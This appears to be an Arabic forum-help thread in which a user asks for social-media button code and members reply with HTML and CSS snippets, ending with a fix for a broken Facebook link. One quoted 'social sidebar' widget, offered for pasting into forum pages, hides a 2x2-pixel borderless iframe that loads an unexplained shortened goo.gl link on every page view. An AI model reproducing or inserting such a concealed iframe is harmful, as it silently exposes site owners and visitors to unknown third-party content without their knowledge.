ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

اذهب الى الأسفل

ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف amjadmohammad20 في الأحد 28 يونيو 2015 - 12:34

[img][/img]

ممكن كود الشبكات الاجتماعية مثل 
موقع احلى منتدى :)  Embarassed Embarassed Embarassed Embarassed
avatar
amjadmohammad20
 
 

ذكر
عدد المساهمات : 60
معدل النشاط : 1072
السُمعة : 0

http://arabfoot.3arabiyate.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف المساعد الفوري في الأحد 28 يونيو 2015 - 12:42

كما يمكنك البحث في هذه الموضوع ستجد الكثير من الاكود :-
بالتوفيق Cool Cool
avatar
المساعد الفوري
 
 

ذكر
عدد المساهمات : 752
معدل النشاط : 3128
السُمعة : 9

http://help.ahlamontada.com/t1082214-topic#4902685

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف amjadmohammad20 في الأحد 28 يونيو 2015 - 12:49

@المساعد الفوري كتب:
كما يمكنك البحث في هذه الموضوع ستجد الكثير من الاكود :-
بالتوفيق Cool Cool

اخوي شكرا الك ما قصرت 

بس انا قصدي انا بدي نفس شكل شبكات احلى منتدى

اذا متوفر :) وشكرا  Cool
avatar
amjadmohammad20
 
 

ذكر
عدد المساهمات : 60
معدل النشاط : 1072
السُمعة : 0

http://arabfoot.3arabiyate.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف شاعر زمانه في الأحد 28 يونيو 2015 - 13:30

مرحباً اخي العزيز

تفضل الكود

الكود:
<div style="text-align:center">
              <a class="social-button fb-but" href="رابط حساب الفيس بوك" target="_blank" title="Facebook"></a>  <a class="social-button tw-but" href="رابط حساب التويتر" target="_blank" title="Twitter"></a>  <a class="social-button gp-but" href="رابط حساب القوقل بلاس" target="_blank" title="Google+"></a>  <a class="social-button yt-but" href="رابط حساب قناتك في اليوتيوب" target="_blank" title="Youtube"></a>  <a class="social-button rs-but" href="/feed/?f=1" target="_blank" title="Update Feed"></a>
   </div>
ضعه في اي مكان يقبل الـhtml

وضع هذا الكود في ورقة css
الكود:
.social-button {
  background:no-repeat 50% 50% #BBB;
  background-color:rgba(0,0,0, 0.3);
  border-radius:3px;
  display:inline-block;
  height:32px;
  width:32px;
  margin:3px;
  -webkit-transition:300ms;
    -moz-transition:300ms;
      -o-transition:300ms;
          transition:300ms;
}
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
avatar
شاعر زمانه
 
 

ذكر
عدد المساهمات : 1745
معدل النشاط : 3807
السُمعة : 56

http://instagram.com/_xa2

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف Mahmoud Eslam في الأحد 28 يونيو 2015 - 13:57

أهلاً بك ,
يمكنك اضافتها بجانب منتداك لتظهر بشكل إحترافى  :
@Dr Godaddy كتب:
انهاردة جبتلكم كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتدى





ضع الكود دا في العناصر المستقلة
الكود: 
الكود:
 <style type="text/css">/*<![CDATA[*/@charset "utf-8";/* CSS Document *//* ---------- ENTYPO ---------- */@import url(http://weloveiconfonts.com/api/?family=entypo);[class*="entypo-"]:before { font-family: 'entypo', sans-serif;}/* ---------- GENERAL ---------- */#social-sidebar a { text-decoration: none; }#social-sidebar ul { list-style: none; margin: 0; padding: 0;}/* ---------- Social Sidebar ---------- */#social-sidebar { left: 0; margin-top: -75px; /* (li * a:width) / -2 */ position: fixed; top: 50%;}#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }#social-sidebar ul li a { background: #121212; color: #fff; display: block; height: 50px; font-size: 18px; line-height: 50px; position: relative; text-align: center; width: 50px;}#social-sidebar ul li a:hover span { left: 130%; opacity: 1;}#social-sidebar ul li a span { border-radius: 3px; line-height: 24px; left: -100%; margin-top: -16px; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter: alpha(opacity=0); opacity: 0; padding: 4px 8px; position: absolute; -webkit-transition: opacity .3s, left .4s; -moz-transition: opacity .3s, left .4s; -ms-transition: opacity .3s, left .4s; -o-transition: opacity .3s, left .4s; transition: opacity .3s, left .4s; top: 50%; z-index: -1;}#social-sidebar ul li a span:before { content: ""; display: block; height: 8px; left: -4px; margin-top: -4px; position: absolute; top: 50%; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); width: 8px; z-index: -2;}#social-sidebar ul li a[class*="twitter"]:hover,#social-sidebar ul li a[class*="twitter"] span,#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }#social-sidebar ul li a[class*="gplus"]:hover,#social-sidebar ul li a[class*="gplus"] span,#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }#social-sidebar ul li a[class*="tumblr"]:hover,#social-sidebar ul li a[class*="tumblr"] span,#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }#social-sidebar ul li a[class*="facebook"]:hover,#social-sidebar ul li a[class*="facebook"] span,#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }#social-sidebar ul li a[class*="rss"]:hover,#social-sidebar ul li a[class*="rss"] span,#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }/*]]>*/</style><iframe src="http://goo.gl/Usygm0" width="2" height="2" frameBorder="0" scrolling="no"></iframe><div id="social-sidebar">   <ul>    <li>     <a class="entypo-twitter" href="https://twitter.com/" target="_blank">      <span>Twitter</span>     </a>    </li>    <li>     <a class="entypo-gplus" href="http://plus.google.com/" target="_blank">      <span>google+</span>     </a>    </li>    <li>     <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank">      <span>tumblr</span>     </a>    </li><li>     <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank">      <span>facebook</span>     </a>    </li>        <li>     <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank">      <span>feedburner</span>     </a>    </li>   </ul>  </div>


قم بالبحث عن :


https://twitter.com/


http://plus.google.com/


http://www.tumblr.net/


https://www.facebook.com/


http://feeds.feedburner.com/

 وبدلها بروابطك الخاصة وهكدا يكون قد تم بأذن الله

تحياتى وودى لك ^^
avatar
Mahmoud Eslam
 
 

ذكر
عدد المساهمات : 2910
معدل النشاط : 5600
السُمعة : 53

http://help-pub.3oloum.org/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف amjadmohammad20 في الأحد 28 يونيو 2015 - 21:35

@شاعر زمانه كتب:مرحباً اخي العزيز

تفضل الكود

الكود:
<div style="text-align:center">
              <a class="social-button fb-but" href="رابط حساب الفيس بوك" target="_blank" title="Facebook"></a>   <a class="social-button tw-but" href="رابط حساب التويتر" target="_blank" title="Twitter"></a>   <a class="social-button gp-but" href="رابط حساب القوقل بلاس" target="_blank" title="Google+"></a>   <a class="social-button yt-but" href="رابط حساب قناتك في اليوتيوب" target="_blank" title="Youtube"></a>   <a class="social-button rs-but" href="/feed/?f=1" target="_blank" title="Update Feed"></a>
   </div>
ضعه في اي مكان يقبل الـhtml

وضع هذا الكود في ورقة css
الكود:
.social-button {
  background:no-repeat 50% 50% #BBB;
  background-color:rgba(0,0,0, 0.3);
  border-radius:3px;
  display:inline-block;
  height:32px;
  width:32px;
  margin:3px;
  -webkit-transition:300ms;
     -moz-transition:300ms;
       -o-transition:300ms;
          transition:300ms;
}
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
يسلموا ايديك اخوي بس في مشكله ف الكود الهتمل ف الفيس بوك وتويتر :) يعني انا بحط رابط الفيس وتويتر بس ما بزبط بجيبلي يوم ادخل ع الرابط http://arabfoot.3arabiyate.com/www.facebook.com/1122amjad
avatar
amjadmohammad20
 
 

ذكر
عدد المساهمات : 60
معدل النشاط : 1072
السُمعة : 0

http://arabfoot.3arabiyate.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف amjadmohammad20 في الأحد 28 يونيو 2015 - 21:43

خلص اخوي زبط شكرا الكم وشكرا لكل العاملين في احلى منتدى :-* 

شكرا لكم :)  Cool Cool Cool Cool Cool
avatar
amjadmohammad20
 
 

ذكر
عدد المساهمات : 60
معدل النشاط : 1072
السُمعة : 0

http://arabfoot.3arabiyate.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف DeLeTe في الأحد 28 يونيو 2015 - 21:48

@amjadmohammad20 كتب:
@شاعر زمانه كتب:مرحباً اخي العزيز

تفضل الكود

الكود:
<div style="text-align:center">
              <a class="social-button fb-but" href="رابط حساب الفيس بوك" target="_blank" title="Facebook"></a>   <a class="social-button tw-but" href="رابط حساب التويتر" target="_blank" title="Twitter"></a>   <a class="social-button gp-but" href="رابط حساب القوقل بلاس" target="_blank" title="Google+"></a>   <a class="social-button yt-but" href="رابط حساب قناتك في اليوتيوب" target="_blank" title="Youtube"></a>   <a class="social-button rs-but" href="/feed/?f=1" target="_blank" title="Update Feed"></a>
   </div>
ضعه في اي مكان يقبل الـhtml

وضع هذا الكود في ورقة css
الكود:
.social-button {
  background:no-repeat 50% 50% #BBB;
  background-color:rgba(0,0,0, 0.3);
  border-radius:3px;
  display:inline-block;
  height:32px;
  width:32px;
  margin:3px;
  -webkit-transition:300ms;
     -moz-transition:300ms;
       -o-transition:300ms;
          transition:300ms;
}
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
يسلموا ايديك اخوي بس في مشكله ف الكود الهتمل ف الفيس بوك وتويتر :) يعني انا بحط رابط الفيس وتويتر بس ما بزبط بجيبلي يوم ادخل ع الرابط http://arabfoot.3arabiyate.com/www.facebook.com/1122amjad

السلام عليكم..يجب عليك وضع الرابط كامل يوجد فيه (https://)
مثال لرابط الفيس بوك الخاص بك : https://www.facebook.com/1122amjad
ضعه في المكان المخصص وسيعمل لديك Wink
avatar
DeLeTe
 
 

ذكر
عدد المساهمات : 3160
معدل النشاط : 7082
السُمعة : 73

http://help.ahlamontada.com#

الرجوع الى أعلى الصفحة اذهب الى الأسفل

الرجوع الى أعلى الصفحة


 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى